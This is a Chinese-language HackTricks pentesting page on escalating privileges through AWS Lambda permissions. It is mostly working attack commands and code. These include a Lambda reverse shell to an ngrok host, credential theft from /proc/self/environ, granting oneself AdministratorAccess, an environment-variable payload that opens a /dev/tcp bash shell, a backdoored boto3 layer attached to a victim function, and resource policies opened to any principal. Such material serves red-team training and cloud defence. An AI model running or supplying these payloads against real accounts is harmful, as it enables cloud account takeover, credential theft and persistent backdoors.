AWS - Lambda Privesc

学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

lambda

有关 lambda 的更多信息,请参见:

AWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

具有 iam:PassRolelambda:CreateFunctionlambda:InvokeFunction 权限的用户可以提升他们的权限。 他们可以 创建一个新的 Lambda 函数并为其分配一个现有的 IAM 角色,从而授予该函数与该角色相关联的权限。然后,用户可以 向此 Lambda 函数编写和上传代码(例如带有 rev shell 的代码)。 一旦函数设置完成,用户可以 通过 AWS API 触发其执行 和预期的操作。这种方法有效地允许用户通过 Lambda 函数间接执行任务,操作时使用与其关联的 IAM 角色授予的访问级别。\

攻击者可以利用这一点获取 rev shell 并窃取令牌

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

您还可以滥用lambda角色权限来自lambda函数本身。 如果lambda角色具有足够的权限,您可以使用它授予您管理员权限:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

也可以在不需要外部连接的情况下泄露lambda的角色凭证。这对于用于内部任务的网络隔离的Lambdas将非常有用。如果有未知的安全组过滤您的反向shell,这段代码将允许您直接泄露凭证作为lambda的输出。

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

潜在影响: 直接提升到指定的任意 lambda 服务角色。

请注意,即使看起来很有趣,lambda:InvokeAsync 并不允许单独执行 aws lambda invoke-async,您还需要 lambda:InvokeFunction

iam:PassRolelambda:CreateFunctionlambda:AddPermission

与之前的场景一样,如果您拥有权限 lambda:AddPermission,您可以授予自己 lambda:InvokeFunction 权限。

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

潜在影响: 直接提升到指定的任意 lambda 服务角色。

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

拥有 iam:PassRole, lambda:CreateFunctionlambda:CreateEventSourceMapping 权限的用户(可能还包括 dynamodb:PutItemdynamodb:CreateTable)可以间接 提升权限,即使没有 lambda:InvokeFunction。 他们可以创建一个 带有恶意代码的 Lambda 函数并将其分配给现有的 IAM 角色

用户不是直接调用 Lambda,而是设置或利用现有的 DynamoDB 表,通过事件源映射将其链接到 Lambda。此设置确保在表中新增项时,Lambda 函数会 自动触发,无论是通过用户的操作还是其他进程,从而间接调用 Lambda 函数并以传递的 IAM 角色的权限执行代码。

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

如果DynamoDB在AWS环境中已经激活,用户只需为Lambda函数建立事件源映射。然而,如果DynamoDB未在使用中,用户必须创建一个新的表并启用流:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

现在可以通过创建事件源映射将Lambda函数连接到DynamoDB表

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

通过将 Lambda 函数链接到 DynamoDB 流,攻击者可以 通过激活 DynamoDB 流间接触发 Lambda。这可以通过 向 DynamoDB 表中插入一个项目 来实现:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

潜在影响: 直接提升到指定的 lambda 服务角色。

lambda:AddPermission

拥有此权限的攻击者可以 授予自己(或其他人)任何权限 (这会生成基于资源的策略以授予对资源的访问):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout

潜在影响: 直接提升权限到通过授予修改代码和运行它的权限的 lambda 服务角色。

lambda:AddLayerVersionPermission

拥有此权限的攻击者可以 授予自己(或其他人)权限 lambda:GetLayerVersion。他可以访问该层并搜索漏洞或敏感信息。

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

潜在影响: 可能访问敏感信息。

lambda:UpdateFunctionCode

持有 lambda:UpdateFunctionCode 权限的用户有可能 修改与 IAM 角色关联的现有 Lambda 函数的代码。 攻击者可以 修改 Lambda 的代码以提取 IAM 凭证

尽管攻击者可能没有直接调用该函数的能力,但如果 Lambda 函数是预先存在并且正在运行的,那么它很可能会通过现有的工作流或事件被触发,从而间接促进修改后代码的执行。

# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

潜在影响: 直接提升到使用的 lambda 服务角色。

lambda:UpdateFunctionConfiguration

通过环境变量进行 RCE

拥有此权限后,可以添加环境变量,使 Lambda 执行任意代码。例如,在 Python 中,可以利用环境变量 PYTHONWARNINGBROWSER 使 Python 进程执行任意命令:

aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"

对于其他脚本语言,还有其他环境变量可以使用。有关更多信息,请查看以下链接中脚本语言的子部分:

通过 Lambda Layers 进行 RCE

Lambda Layers 允许在您的 Lambda 函数中包含 代码,但 单独存储,这样函数代码可以保持小巧,并且 多个函数可以共享代码

在 Lambda 内部,您可以使用以下函数检查加载 Python 代码的路径:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

这些地方是:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

例如,库 boto3 是从 /var/runtime/boto3 加载的(第 4 个位置)。

利用

可以滥用权限 lambda:UpdateFunctionConfiguration添加一个新层 到一个 lambda 函数。要执行任意代码,这个层需要包含一些 lambda 将要导入的库。 如果你能读取 lambda 的代码,你可以很容易找到这一点,也请注意,lambda 可能已经在使用一个层,你可以 下载 这个层并 在其中添加你的代码

例如,假设 lambda 正在使用库 boto3,这将创建一个包含库最新版本的本地层:

pip3 install -t ./lambda_layer boto3

您可以打开 ./lambda_layer/boto3/__init__.py在全局代码中添加后门(例如,一个用于提取凭据或获取反向 shell 的函数)。

然后,将 ./lambda_layer 目录压缩并 在您自己的账户中上传新的 lambda 层(或在受害者的账户中,但您可能没有权限这样做)。 请注意,您需要创建一个 python 文件夹并将库放在其中以覆盖 /opt/python/boto3。此外,层需要与 lambda 使用的 python 版本兼容,如果您将其上传到您的账户,它需要位于 同一区域:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

现在,使上传的 lambda 层 可被任何账户访问

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

并将 lambda 层附加到受害者 lambda 函数:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

下一步要么是自己调用函数,如果可以的话,要么是等待它被正常方式调用——这是更安全的方法。

利用此漏洞的更隐蔽方式可以在以下内容中找到:

AWS - Lambda Layers Persistence

潜在影响: 直接提升到使用的lambda服务角色。

iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

也许有了这些权限,你能够创建一个函数并通过调用URL来执行它……但我找不到测试的方法,所以如果你找到了,请告诉我!

Lambda MitM

一些lambda将会接收用户在参数中发送的敏感信息。 如果在其中一个中获得RCE,你可以提取其他用户发送给它的信息,查看:

AWS - Steal Lambda Requests

参考文献

学习和实践AWS黑客技术:HackTricks培训AWS红队专家(ARTE) 学习和实践GCP黑客技术:HackTricks培训GCP红队专家(GRTE)

支持HackTricks

Last updated